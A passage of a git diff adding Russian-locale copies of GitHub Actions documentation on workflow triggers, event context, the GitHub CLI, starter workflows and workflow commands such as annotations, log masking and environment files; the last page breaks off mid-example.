+ +### Using activity types and filters with multiple events + +You can use activity types and filters to further control when your workflow will run. For more information, see [Using event activity types](#using-event-activity-types) and [Using filters](#using-filters). {% data reusables.actions.actions-multiple-types %} + +## Using event activity types + +{% data reusables.actions.actions-activity-types %} + +## Using filters + +{% data reusables.actions.actions-filters %} + +### Using filters to target specific branches for pull request events + +{% data reusables.actions.workflows.section-triggering-a-workflow-branches %} + +### Using filters to target specific branches or tags for push events + +{% data reusables.actions.workflows.section-run-on-specific-branches-or-tags %} + +### Using filters to target specific paths for pull request or push events + +{% data reusables.actions.workflows.section-triggering-a-workflow-paths %} + +### Using filters to target specific branches for workflow run events + +{% data reusables.actions.workflows.section-specifying-branches %} + +## Defining inputs for manually triggered workflows + +{% data reusables.actions.workflow-dispatch-inputs %} + +{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} +## Defining inputs, outputs, and secrets for reusable workflows + +{% data reusables.actions.reusable-workflows-ghes-beta %} + +You can define inputs and secrets that a reusable workflow should receive from a calling workflow. You can also specify outputs that a reusable workflow will make available to a calling workflow. For more information, see "[Reusing workflows](/actions/using-workflows/reusing-workflows)." + +{% endif %} + +## Using event information + +Information about the event that triggered a workflow run is available in the `github.event` context. The properties in the `github.event` context depend on the type of event that triggered the workflow. For example, a workflow triggered when an issue is labeled would have information about the issue and label. + +### Viewing all properties of an event + +Reference the webhook event documentation for common properties and example payloads. For more information, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads)." + +You can also print the entire `github.event` context to see what properties are available for the event that triggered your workflow: + +```yaml +jobs: + print_context: + runs-on: ubuntu-latest + steps: + - env: + EVENT_CONTEXT: {% raw %}${{ toJSON(github.event) }}{% endraw %} + run: | + echo $EVENT_CONTEXT +``` + +### Accessing and using event properties + +You can use the `github.event` context in your workflow. For example, the following workflow runs when a pull request that changes `package*.json`, `.github/CODEOWNERS`, or `.github/workflows/**` is opened. If the pull request author (`github.event.pull_request.user.login`) is not `octobot` or `dependabot[bot]`, then the workflow uses the {% data variables.product.prodname_cli %} to label and comment on the pull request (`github.event.pull_request.number`). + +```yaml +on: + pull_request: + types: + - opened + paths: + - '.github/workflows/**' + - '.github/CODEOWNERS' + - 'package*.json' + +jobs: + triage: + if: >- + github.event.pull_request.user.login != 'octobot' && + github.event.pull_request.user.login != 'dependabot[bot]' + runs-on: ubuntu-latest + steps: + - name: "Comment about changes we can't accept" + env: + GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} + PR: {% raw %}${{ github.event.pull_request.html_url }}{% endraw %} + run: | + gh pr edit $PR --add-label 'invalid' + gh pr comment $PR --body 'It looks like you edited `package*.json`, `.github/CODEOWNERS`, or `.github/workflows/**`. We do not allow contributions to these files. Please review our [contributing guidelines](https://github.com/octo-org/octo-repo/blob/main/CONTRIBUTING.md) for what contributions are accepted.' +``` + +For more information about contexts, see "[Contexts](/actions/learn-github-actions/contexts)." For more information about event payloads, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads)." + +## Further controlling how your workflow will run + +If you want more granular control than events, event activity types, or event filters provide, you can use conditionals and environments to control whether individual jobs or steps in your workflow will run. + +### Using conditionals + +You can use conditionals to further control whether jobs or steps in your workflow will run. + +#### Example using a value in the event payload + +For example, if you want the workflow to run when a specific label is added to an issue, you can trigger on the `issues labeled` event activity type and use a conditional to check what label triggered the workflow. The following workflow will run when any label is added to an issue in the workflow's repository, but the `run_if_label_matches` job will only execute if the label is named `bug`. + +```yaml +on: + issues: + types: + - labeled + +jobs: + run_if_label_matches: + if: github.event.label.name == 'bug' + runs-on: ubuntu-latest + steps: + - run: echo 'The label was bug' +``` + +#### Example using event type + +For example, if you want to run different jobs or steps depending on what event triggered the workflow, you can use a conditional to check whether a specific event type exists in the event context. The following workflow will run whenever an issue or pull request is closed. If the workflow ran because an issue was closed, the `github.event` context will contain a value for `issue` but not for `pull_request`. Therefore, the `if_issue` step will run but the `if_pr` step will not run. Conversely, if the workflow ran because a pull request was closed, the `if_pr` step will run but the `if_issue` step will not run. + +```yaml +on: + issues: + types: + - closed + pull_request: + types: + - closed + +jobs: + state_event_type: + runs-on: ubuntu-latest + steps: + - name: if_issue + if: github.event.issue + run: | + echo An issue was closed + - name: if_pr + if: github.event.pull_request + run: | + echo A pull request was closed +``` + +For more information about what information is available in the event context, see "[Using event information](#using-event-information)." For more information about how to use conditionals, see "[Expressions](/actions/learn-github-actions/expressions)." + +### Using environments to manually trigger workflow jobs + +If you want to manually trigger a specific job in a workflow, you can use an environment that requires approval from a specific team or user. First, configure an environment with required reviewers. For more information, see "[Using environments for deployment](/actions/deployment/targeting-different-environments/using-environments-for-deployment)." Then, reference the environment name in a job in your workflow using the `environment:` key. Any job referencing the environment will not run until at least one reviewer approves the job. + +For example, the following workflow will run whenever there is a push to main. The `build` job will always run. The `publish` job will only run after the `build` job successfully completes (due to `needs: [build]`) and after all of the rules (including required reviewers) for the environment called `production` pass (due to `environment: production`). + +```yaml +on: + push: + branches: + - main + +jobs: + build: + runs-on: ubuntu-latest + steps: + - name: build + echo 'building' + + publish: + needs: [build] + runs-on: ubuntu-latest + environment: production + steps: + - name: publish + echo 'publishing' +``` + +{% note %} + +{% data reusables.gated-features.environments %} + +{% endnote %} + +## Available events + +For a full list of available events, see "[Events that trigger workflows](/actions/using-workflows/events-that-trigger-workflows)." diff --git a/translations/ru-RU/content/actions/using-workflows/using-github-cli-in-workflows.md b/translations/ru-RU/content/actions/using-workflows/using-github-cli-in-workflows.md new file mode 100644 index 000000000000..16dc48cf2e6b --- /dev/null +++ b/translations/ru-RU/content/actions/using-workflows/using-github-cli-in-workflows.md @@ -0,0 +1,78 @@ +--- +title: Использование GitHub CLI в рабочих процессах +shortTitle: GitHub CLI in workflows +intro: 'Вы можете создать скрипт с помощью {% data variables.product.prodname_cli %} в рабочих процессах {% data variables.product.prodname_actions %}.' +redirect_from: + - /actions/guides/using-github-cli-in-workflows + - /actions/advanced-guides/using-github-cli-in-workflows +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - CLI + - Workflows +type: how_to +ms.openlocfilehash: 3455e4f082acf26215ad050c5c381df53c0c2713 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145120899' +--- +{% data reusables.cli.cli-learn-more %} + +{% data variables.product.prodname_cli %} предустановлен на всех средствах выполнения, размещенных на {% data variables.product.prodname_dotcom %}. Для каждого шага, использующего {% data variables.product.prodname_cli %}, необходимо задать для переменной среды `GITHUB_TOKEN` маркер с необходимыми областями. + +Вы можете выполнить любую команду {% data variables.product.prodname_cli %}. Например, этот рабочий процесс использует подкоманду `gh issue comment` для добавления примечания при открытии проблемы. + +```yaml{:copy} +name: Comment when opened +on: + issues: + types: + - opened +jobs: + comment: + runs-on: ubuntu-latest + steps: + - run: gh issue comment $ISSUE --body "Thank you for opening this issue!" + env: + GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} + ISSUE: {% raw %}${{ github.event.issue.html_url }}{% endraw %} +``` + +Вы также можете выполнять вызовы API с помощью {% data variables.product.prodname_cli %}. Например, этот рабочий процесс сначала использует подкоманду `gh api` для запроса API GraphQL и анализа результата. Затем он сохраняет результат в переменной среды, к которой он может получить доступ на следующем шаге. На втором шаге используется подкоманда `gh issue create` для создания проблемы, содержащей сведения с первого шага. + +```yaml{:copy} +name: Report remaining open issues +on: + schedule: + # Daily at 8:20 UTC + - cron: '20 8 * * *' +jobs: + track_pr: + runs-on: ubuntu-latest + steps: + - run: | + numOpenIssues="$(gh api graphql -F owner=$OWNER -F name=$REPO -f query=' + query($name: String!, $owner: String!) { + repository(owner: $owner, name: $name) { + issues(states:OPEN){ + totalCount + } + } + } + ' --jq '.data.repository.issues.totalCount')" + + echo 'NUM_OPEN_ISSUES='$numOpenIssues >> $GITHUB_ENV + env: + GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} + OWNER: {% raw %}${{ github.repository_owner }}{% endraw %} + REPO: {% raw %}${{ github.event.repository.name }}{% endraw %} + - run: | + gh issue create --title "Issue report" --body "$NUM_OPEN_ISSUES issues remaining" --repo $GITHUB_REPOSITORY + env: + GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} +``` diff --git a/translations/ru-RU/content/actions/using-workflows/using-starter-workflows.md b/translations/ru-RU/content/actions/using-workflows/using-starter-workflows.md new file mode 100644 index 000000000000..f063f95ce50f --- /dev/null +++ b/translations/ru-RU/content/actions/using-workflows/using-starter-workflows.md @@ -0,0 +1,61 @@ +--- +title: Использование начальных рабочих процессов +shortTitle: Use starter workflows +intro: '{% data variables.product.product_name %} предоставляет начальные рабочие процессы для различных языков и инструментов.' +redirect_from: + - /articles/setting-up-continuous-integration-using-github-actions + - /github/automating-your-workflow-with-github-actions/setting-up-continuous-integration-using-github-actions + - /actions/automating-your-workflow-with-github-actions/setting-up-continuous-integration-using-github-actions + - /actions/building-and-testing-code-with-continuous-integration/setting-up-continuous-integration-using-github-actions + - /actions/guides/setting-up-continuous-integration-using-workflow-templates + - /actions/learn-github-actions/using-workflow-templates + - /actions/learn-github-actions/using-starter-workflows +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - Workflows + - CI + - CD +ms.openlocfilehash: ac901f30b94dbeb65aaa2f513048e793de35a53f +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010044' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Сведения о начальных рабочих процессах + +{% data variables.product.product_name %} предлагает начальные рабочие процессы для различных языков и инструментов. Когда вы настраиваете рабочие процессы в своем репозитории, {% data variables.product.product_name %} анализирует код в репозитории и рекомендует рабочие процессы CI в зависимости от языка и платформы в репозитории. Например, если вы используете [Node.js](https://nodejs.org/en/), {% data variables.product.product_name %} предложит начальный файл рабочего процесса, который устанавливает пакеты Node.js и выполняет тесты.{% ifversion actions-starter-template-ui %} Вы можете выполнять поиск и фильтрацию, чтобы найти соответствующие начальные рабочие процессы.{% endif %} + +{% data reusables.actions.starter-workflow-categories %} + +Кроме того, можно создать свой собственный начальный рабочий процесс, чтобы поделиться им в своей организации. Эти начальные рабочие процессы будут отображаться вместе с начальными рабочими процессами, предоставленными {% data variables.product.product_name %}. Дополнительные сведения см. в разделе [Создание рабочих процессов начального уровня для вашей организации](/actions/learn-github-actions/creating-starter-workflows-for-your-organization). + +## Использование начальных рабочих процессов + +Любой пользователь с разрешением на запись в репозиторий может настроить начальные рабочие процессы {% data variables.product.prodname_actions %} для CI/CD или другой автоматизации. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} +1. Если в вашем репозитории уже используется рабочий процесс, нажмите кнопку **Создать рабочий процесс**. +1. На странице "{% ifversion actions-starter-template-ui %}Выбрать рабочий процесс{% else %}Выбрать шаблон рабочего процесса{% endif %}" отображается выбор рекомендуемых начальных рабочих процессов. Найдите начальный рабочий процесс, который необходимо использовать, а затем нажмите {% ifversion actions-starter-template-ui %}**Настроить**{% else %}**Настроить этот рабочий процесс**{% endif %}.{% ifversion actions-starter-template-ui %} Чтобы найти нужный начальный рабочий процесс, выполните поиск по ключевым словам или с помощью фильтру по категориям.{% endif %} + + {% ifversion actions-starter-template-ui %}![Настроить этот рабочий процесс](/assets/images/help/settings/actions-create-starter-workflow-updated-ui.png){% else %}![Настроить это рабочий процесс](/assets/images/help/settings/actions-create-starter-workflow.png){% endif %} +1. Если начальный рабочий процесс содержит комментарии, подробные инструкции по настройке, выполните следующие действия. Многие начальные рабочие процессы имеют соответствующие руководства. Дополнительные сведения см. в статье [{% data variables.product.prodname_actions %} Руководства](/actions/guides). +1. В некоторых начальных рабочих процессах используются секреты. Например, {% raw %}`${{ secrets.npm_token }}`{% endraw %}. Если начальный рабочий процесс использует секрет, сохраните значение, описанное в имени секрета в качестве секрета в своем репозитории. Дополнительные сведения см. в статье [Зашифрованные секреты](/actions/reference/encrypted-secrets). +1. При необходимости внесите дополнительные изменения. Например, возможно, при выполнении рабочего процесса потребуется изменить значение `on`. +1. Нажмите кнопку **Начать фиксацию**. +1. Напишите сообщение фиксации и решите, следует ли фиксировать непосредственно в ветви по умолчанию или открывать запрос на вытягивание. + +## Дополнительные материалы + +- [Сведения о непрерывной интеграции](/articles/about-continuous-integration) +- "[Управление запусками рабочих процессов](/actions/managing-workflow-runs)" +- "[Сведения о мониторинге и устранении неполадок](/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting)" +- "[Ознакомьтесь с {% data variables.product.prodname_actions %}](/actions/learn-github-actions)". {% ifversion fpt or ghec %} +- "[Управление выставлением счетов для {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)" {% endif %} diff --git a/translations/ru-RU/content/actions/using-workflows/workflow-commands-for-github-actions.md b/translations/ru-RU/content/actions/using-workflows/workflow-commands-for-github-actions.md new file mode 100644 index 000000000000..df3fb02509da --- /dev/null +++ b/translations/ru-RU/content/actions/using-workflows/workflow-commands-for-github-actions.md @@ -0,0 +1,972 @@ +--- +title: Workflow commands for GitHub Actions +shortTitle: Workflow commands +intro: You can use workflow commands when running shell commands in a workflow or in an action's code. +defaultTool: bash +redirect_from: + - /articles/development-tools-for-github-actions + - /github/automating-your-workflow-with-github-actions/development-tools-for-github-actions + - /actions/automating-your-workflow-with-github-actions/development-tools-for-github-actions + - /actions/reference/development-tools-for-github-actions + - /actions/reference/logging-commands-for-github-actions + - /actions/reference/workflow-commands-for-github-actions + - /actions/learn-github-actions/workflow-commands-for-github-actions +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## About workflow commands + +Actions can communicate with the runner machine to set environment variables, output values used by other actions, add debug messages to the output logs, and other tasks. + +Most workflow commands use the `echo` command in a specific format, while others are invoked by writing to a file. For more information, see "[Environment files](#environment-files)." + +### Example + +{% bash %} + +```bash{:copy} +echo "::workflow-command parameter1={data},parameter2={data}::{command value}" +``` + +{% endbash %} + +{% powershell %} + +```pwsh{:copy} +Write-Output "::workflow-command parameter1={data},parameter2={data}::{command value}" +``` + +{% endpowershell %} + +{% note %} + +**Note:** Workflow command and parameter names are not case-sensitive. + +{% endnote %} + +{% warning %} + +**Warning:** If you are using Command Prompt, omit double quote characters (`"`) when using workflow commands. + +{% endwarning %} + +## Using workflow commands to access toolkit functions + +The [actions/toolkit](https://github.com/actions/toolkit) includes a number of functions that can be executed as workflow commands. Use the `::` syntax to run the workflow commands within your YAML file; these commands are then sent to the runner over `stdout`. + +{%- ifversion actions-save-state-set-output-envs %} +For example, instead of using code to create an error annotation, as below: + +```javascript{:copy} +core.error('Missing semicolon', {file: 'app.js', startLine: 1}) +``` + +### Example: Creating an annotation for an error + +You can use the `error` command in your workflow to create the same error annotation: + +{% bash %} + +{% raw %} +```yaml{:copy} + - name: Create annotation for build error + run: echo "::error file=app.js,line=1::Missing semicolon" +``` +{% endraw %} + +{% endbash %} + +{% powershell %} + +{% raw %} +```yaml{:copy} + - name: Create annotation for build error + run: Write-Output "::error file=app.js,line=1::Missing semicolon" +``` +{% endraw %} + +{% endpowershell %} +{%- else %} +For example, instead of using code to set an output, as below: + +```javascript{:copy} +core.setOutput('SELECTED_COLOR', 'green'); +``` + +### Example: Setting a value + +You can use the `set-output` command in your workflow to set the same value: + +{% bash %} + +{% raw %} +```yaml{:copy} + - name: Set selected color + run: echo '::set-output name=SELECTED_COLOR::green' + id: random-color-generator + - name: Get color + run: echo "The selected color is ${{ steps.random-color-generator.outputs.SELECTED_COLOR }}" +``` +{% endraw %} + +{% endbash %} + +{% powershell %} + +{% raw %} +```yaml{:copy} + - name: Set selected color + run: Write-Output "::set-output name=SELECTED_COLOR::green" + id: random-color-generator + - name: Get color + run: Write-Output "The selected color is ${{ steps.random-color-generator.outputs.SELECTED_COLOR }}" +``` +{% endraw %} + +{% endpowershell %} + +{% endif %} + +The following table shows which toolkit functions are available within a workflow: + +| Toolkit function | Equivalent workflow command | +| ----------------- | ------------- | +| `core.addPath` | Accessible using environment file `GITHUB_PATH` | +| `core.debug` | `debug` | +| `core.notice` | `notice` | +| `core.error` | `error` | +| `core.endGroup` | `endgroup` | +| `core.exportVariable` | Accessible using environment file `GITHUB_ENV` | +| `core.getInput` | Accessible using environment variable `INPUT_{NAME}` | +| `core.getState` | Accessible using environment variable `STATE_{NAME}` | +| `core.isDebug` | Accessible using environment variable `RUNNER_DEBUG` | +{%- ifversion actions-job-summaries %} +| `core.summary` | Accessible using environment file `GITHUB_STEP_SUMMARY` | +{%- endif %} +| `core.saveState` | {% ifversion actions-save-state-set-output-envs %}Accessible using environment file `GITHUB_STATE`{% else %}`save-state`{% endif %} | +| `core.setCommandEcho` | `echo` | +| `core.setFailed` | Used as a shortcut for `::error` and `exit 1` | +| `core.setOutput` | {% ifversion actions-save-state-set-output-envs %}Accessible using environment file `GITHUB_OUTPUT`{% else %}`set-output`{% endif %} | +| `core.setSecret` | `add-mask` | +| `core.startGroup` | `group` | +| `core.warning` | `warning` | + +{% ifversion actions-save-state-set-output-envs %}{% else %} +## Setting an output parameter + +Sets an action's output parameter. + +```{:copy} +::set-output name={name}::{value} +``` + +Optionally, you can also declare output parameters in an action's metadata file. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions#outputs-for-docker-container-and-javascript-actions)." + +You can escape multiline strings for setting an output parameter by creating an environment variable and using it in a workflow command. For more information, see "[Setting an environment variable](#setting-an-environment-variable)." + +### Example: Setting an output parameter + +{% bash %} + +```bash{:copy} +echo "::set-output name=action_fruit::strawberry" +``` + +{% endbash %} + +{% powershell %} + +```pwsh{:copy} +Write-Output "::set-output name=action_fruit::strawberry" +``` + +{% endpowershell %} +{% endif %} + +## Setting a debug message + +Prints a debug message to the log. You must create a secret named `ACTIONS_STEP_DEBUG` with the value `true` to see the debug messages set by this command in the log. For more information, see "[Enabling debug logging](/actions/managing-workflow-runs/enabling-debug-logging)." + +```{:copy} +::debug::{message} +``` + +### Example: Setting a debug message + +{% bash %} + +```bash{:copy} +echo "::debug::Set the Octocat variable" +``` + +{% endbash %} + +{% powershell %} + +```pwsh{:copy} +Write-Output "::debug::Set the Octocat variable" +``` + +{% endpowershell %} + +## Setting a notice message + +Creates a notice message and prints the message to the log. {% data reusables.actions.message-annotation-explanation %} + +```{:copy} +::notice file={name},line={line},endLine={endLine},title={title}::{message} +``` + +{% data reusables.actions.message-parameters %} + +### Example: Setting a notice message + +{% bash %} + +```bash{:copy} +echo "::notice file=app.js,line=1,col=5,endColumn=7::Missing semicolon" +``` + +{% endbash %} + +{% powershell %} + +```pwsh{:copy} +Write-Output "::notice file=app.js,line=1,col=5,endColumn=7::Missing semicolon" +``` + +{% endpowershell %} + +## Setting a warning message + +Creates a warning message and prints the message to the log. {% data reusables.actions.message-annotation-explanation %} + +```{:copy} +::warning file={name},line={line},endLine={endLine},title={title}::{message} +``` + +{% data reusables.actions.message-parameters %} + +### Example: Setting a warning message + +{% bash %} + +```bash{:copy} +echo "::warning file=app.js,line=1,col=5,endColumn=7::Missing semicolon" +``` +{% endbash %} + +{% powershell %} + +```pwsh{:copy} +Write-Output "::warning file=app.js,line=1,col=5,endColumn=7::Missing semicolon" +``` + +{% endpowershell %} + +## Setting an error message + +Creates an error message and prints the message to the log. {% data reusables.actions.message-annotation-explanation %} + +```{:copy} +::error file={name},line={line},endLine={endLine},title={title}::{message} +``` + +{% data reusables.actions.message-parameters %} + +### Example: Setting an error message + +{% bash %} + +```bash{:copy} +echo "::error file=app.js,line=1,col=5,endColumn=7::Missing semicolon" +``` + +{% endbash %} + +{% powershell %} + +```pwsh{:copy} +Write-Output "::error file=app.js,line=1,col=5,endColumn=7::Missing semicolon" +``` + +{% endpowershell %} + +## Grouping log lines + +Creates an expandable group in the log. To create a group, use the `group` command and specify a `title`. Anything you print to the log between the `group` and `endgroup` commands is nested inside an expandable entry in the log. + +```{:copy} +::group::{title} +::endgroup:: +``` + +### Example: Grouping log lines + +{% bash %} + +```yaml{:copy} +jobs: + bash-example: + runs-on: ubuntu-latest + steps: + - name: Group of log lines + run: | + echo "::group::My title" + echo "Inside group" + echo "::endgroup::" +``` + +{% endbash %} + +{% powershell %} + +```yaml{:copy} +jobs: + powershell-example: + runs-on: windows-latest + steps: + - name: Group of log lines + run: | + Write-Output "::group::My title" + Write-Output "Inside group" + Write-Output "::endgroup::" +``` + +{% endpowershell %} + +![Foldable group in workflow run log](/assets/images/actions-log-group.png) + +## Masking a value in log + +```{:copy} +::add-mask::{value} +``` + +Masking a value prevents a string or variable from being printed in the log. Each masked word separated by whitespace is replaced with the `*` character. You can use an environment variable or string for the mask's `value`. When you mask a value, it is treated as a secret and will be redacted on the runner. For example, after you mask a value, you won't be able to set that value as an output. + +### Example: Masking a string + +When you print `"Mona The Octocat"` in the log, you'll see `"***"`. + +{% bash %} + +```bash{:copy} +echo "::add-mask::Mona The Octocat" +``` + +{% endbash %} + +{% powershell %} + +```pwsh{:copy} +Write-Output "::add-mask::Mona The Octocat" +``` + +{% endpowershell %} + +{% warning %} + +**Warning:** Make sure you register the secret with 'add-mask' before outputting it in the build logs or using it in any other workflow commands. + +{% endwarning %} + +### Example: Masking an environment variable + +When you print the variable `MY_NAME` or the value `"Mona The Octocat"` in the log, you'll see `"***"` instead of `"Mona The Octocat"`. + +{% bash %} + +```yaml{:copy} +jobs: + bash-example: + runs-on: ubuntu-latest + env: + MY_NAME: "Mona The Octocat" + steps: + - name: bash-version + run: echo "::add-mask::$MY_NAME" +``` + +{% endbash %} + +{% powershell %} + +```yaml{:copy} +jobs: + powershell-example: + runs-on: windows-latest + env: + MY_NAME: "Mona The Octocat" + steps: + - name: powershell-version + run: Write-Output "::add-mask::$env:MY_NAME" +``` + +{% endpowershell %} + +## Stopping and starting workflow commands + +Stops processing any workflow commands. This special command allows you to log anything without accidentally running a workflow command. For example, you could stop logging to output an entire script that has comments. + +```{:copy} +::stop-commands::{endtoken} +``` + +To stop the processing of workflow commands, pass a unique token to `stop-commands`. To resume processing workflow commands, pass the same token that you used to stop workflow commands. + +{% warning %} + +**Warning:** Make sure the token you're using is randomly generated and unique for each run. + +{% endwarning %} + +```{:copy} +::{endtoken}:: +``` + +### Example: Stopping and starting workflow commands + +{% bash %} + +{% raw %} + +```yaml{:copy} +jobs: + workflow-command-job: + runs-on: ubuntu-latest + steps: + - name: Disable workflow commands + run: | + echo '::warning:: This is a warning message, to demonstrate that commands are being processed.' + stopMarker=$(uuidgen) + echo "::stop-commands::$stopMarker" + echo '::warning:: This will NOT be rendered as a warning, because stop-commands has been invoked.' + echo "::$stopMarker::" + echo '::warning:: This is a warning again, because stop-commands has been turned off.' +``` +{% endraw %} + +{% endbash %} + +{% powershell %} + +{% raw %} +```yaml{:copy} +jobs: + workflow-command-job: + runs-on: windows-latest + steps: + - name: Disable workflow commands + run: | + Write-Output '::warning:: This is a warning message, to demonstrate that commands are being processed.' + $stopMarker = New-Guid + Write-Output "::stop-commands::$stopMarker" + Write-Output '::warning:: This will NOT be rendered as a warning, because stop-commands has been invoked.' + Write-Output "::$stopMarker::" + Write-Output '::warning:: This is a warning again, because stop-commands has been turned off.' +``` + +{% endraw %} + +{% endpowershell %} + +{% ifversion actions-save-state-set-output-envs %}{% else %} +## Echoing command outputs + +Enables or disables echoing of workflow commands. For example, if you use the `set-output` command in a workflow, it sets an output parameter but the workflow run's log does not show the command itself. If you enable command echoing, then the log shows the command, such as `::set-output name={name}::{value}`. + +```{:copy} +::echo::on +::echo::off +``` + +Command echoing is disabled by default. However, a workflow command is echoed if there are any errors processing the command. + +The `add-mask`, `debug`, `warning`, and `error` commands do not support echoing because their outputs are already echoed to the log. + +You can also enable command echoing globally by turning on step debug logging using the `ACTIONS_STEP_DEBUG` secret. For more information, see "[Enabling debug logging](/actions/managing-workflow-runs/enabling-debug-logging)". In contrast, the `echo` workflow command lets you enable command echoing at a more granular level, rather than enabling it for every workflow in a repository. + +### Example: Toggling command echoing + +{% bash %} + +```yaml{:copy} +jobs: + workflow-command-job: + runs-on: ubuntu-latest + steps: + - name: toggle workflow command echoing + run: | + echo '::set-output name=action_echo::disabled' + echo '::echo::on' + echo '::set-output name=action_echo::enabled' + echo '::echo::off' + echo '::set-output name=action_echo::disabled' +``` + +{% endbash %} + +{% powershell %} + +```yaml{:copy} +jobs: + workflow-command-job: + runs-on: windows-latest + steps: + - name: toggle workflow command echoing + run: | + write-output "::set-output name=action_echo::disabled" + write-output "::echo::on" + write-output "::set-output name=action_echo::enabled" + write-output "::echo::off" + write-output "::set-output name=action_echo::disabled" +``` + +{% endpowershell %} + +The example above prints the following lines to the log: + +```{:copy} +::set-output name=action_echo::enabled +::echo::off +``` + +Only the second `set-output` and `echo` workflow commands are included in the log because command echoing was only enabled when they were run. Even though it is not always echoed, the output parameter is set in all cases. + +{% endif %} + +## Sending values to the pre and post actions + +{% ifversion actions-save-state-set-output-envs %}You can create environment variables for sharing with your workflow's `pre:` or `post:` actions by writing to the file located at `GITHUB_STATE`{% else %}You can use the `save-state` command to create environment variables for sharing with your workflow's `pre:` or `post:` actions{% endif %}. For example, you can create a file with the `pre:` action, pass the file location to the `main:` action, and then use the `post:` action to delete the file. Alternatively, you could create a file with the `main:` action, pass the file location to the `post:` action, and also use the `post:` action to delete the file. + +If you have multiple `pre:` or `post:` actions, you can only access the saved value in the action where {% ifversion actions-save-state-set-output-envs %}it was written to `GITHUB_STATE`{% else %}`save-state` was used{% endif %}. For more information on the `post:` action, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions#runspost)." + +{% ifversion actions-save-state-set-output-envs %}The `GITHUB_STATE` file is only available within an action{% else %}The `save-state` command can only be run within an action, and is not available to YAML files{% endif %}. The saved value is stored as an environment value with the `STATE_` prefix. + +{% ifversion actions-save-state-set-output-envs %} +This example uses JavaScript to write to the `GITHUB_STATE` file. The resulting environment variable is named `STATE_processID` with the value of `12345`: + +```javascript{:copy} +import * as fs from 'fs' +import * as os from 'os' + +fs.appendFileSync(process.env.GITHUB_STATE, `processID=12345${os.EOL}`, { + encoding: 'utf8' +}) +``` + +{% else %} +This example uses JavaScript to run the `save-state` command. The resulting environment variable is named `STATE_processID` with the value of `12345`: + +```javascript{:copy} +console.log('::save-state name=processID::12345') +``` +{% endif %} + +The `STATE_processID` variable is then exclusively available to the cleanup script running under the `main` action. This example runs in `main` and uses JavaScript to display the value assigned to the `STATE_processID` environment variable: + +```javascript{:copy} +console.log("The running PID from the main action is: " + process.env.STATE_processID); +``` + +## Environment files + +During the execution of a workflow, the runner generates temporary files that can be used to perform certain actions. The path to these files are exposed via environment variables. You will need to use UTF-8 encoding when writing to these files to ensure proper processing of the commands. Multiple commands can be written to the same file, separated by newlines. + +Most commands in the following examples use double quotes for echoing strings, which will attempt to interpolate characters like `$` for shell variable names. To always use literal values in quoted strings, you can use single quotes instead. + +{% powershell %} + +{% note %} + +**Note:** PowerShell versions 5.1 and below (`shell: powershell`) do not use UTF-8 by default, so you must specify the UTF-8 encoding. For example: + +```yaml{:copy} +jobs: + legacy-powershell-example: + runs-on: windows-latest + steps: + - shell: powershell + run: | + "mypath" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append +``` + +PowerShell Core versions 6 and higher (`shell: pwsh`) use UTF-8 by default. For example: + +```yaml{:copy} +jobs: + powershell-core-example: + runs-on: windows-latest + steps: + - shell: pwsh + run: | + "mypath" >> $env:GITHUB_PATH +``` + +{% endnote %} + +{% endpowershell %} + +## Setting an environment variable + +{% bash %} + +```bash{:copy} +echo "{environment_variable_name}={value}" >> $GITHUB_ENV +``` + +{% endbash %} + +{% powershell %} + +- Using PowerShell version 6 and higher: + + ```pwsh{:copy} + "{environment_variable_name}={value}" >> $env:GITHUB_ENV + ``` + +- Using PowerShell version 5.1 and below: + + ```powershell{:copy} + "{environment_variable_name}={value}" | Out-File -FilePath $env:GITHUB_ENV -Encoding utf8 -Append + ``` + +{% endpowershell %} + +You can make an environment variable available to any subsequent steps in a workflow job by defining or updating the environment variable and writing this to the `GITHUB_ENV` environment file. The step that creates or updates the environment variable does not have access to the new value, but all subsequent steps in a job will have access. The names of environment variables are case-sensitive, and you can include punctuation. For more information, see "[Environment variables](/actions/learn-github-actions/environment-variables)." + +### Example + +{% bash %} + +{% raw %} +```yaml{:copy} +steps: + - name: Set the value + id: step_one + run: | + echo "action_state=yellow" >> $GITHUB_ENV + - name: Use the value + id: step_two + run: | + echo "${{ env.action_state }}" # This will output 'yellow' +``` +{% endraw %} + +{% endbash %} + +{% powershell %} + +{% raw %} +```yaml{:copy} +steps: + - name: Set the value + id: step_one + run: | + "action_state=yellow" >> $env:GITHUB_ENV + - name: Use the value + id: step_two + run: | + Write-Output "${{ env.action_state }}" # This will output 'yellow' +``` +{% endraw %} + +{% endpowershell %} + +### Multiline strings + +For multiline strings, you may use a delimiter with the following syntax. + +```{:copy} +{name}<<{delimiter} +{value} +{delimiter} +``` + +{% warning %} + +**Warning:** Make sure the delimiter you're using is randomly generated and unique for each run. For more information, see "[Understanding the risk of script injections](/actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections)". + +{% endwarning %} + +#### Example + +This example 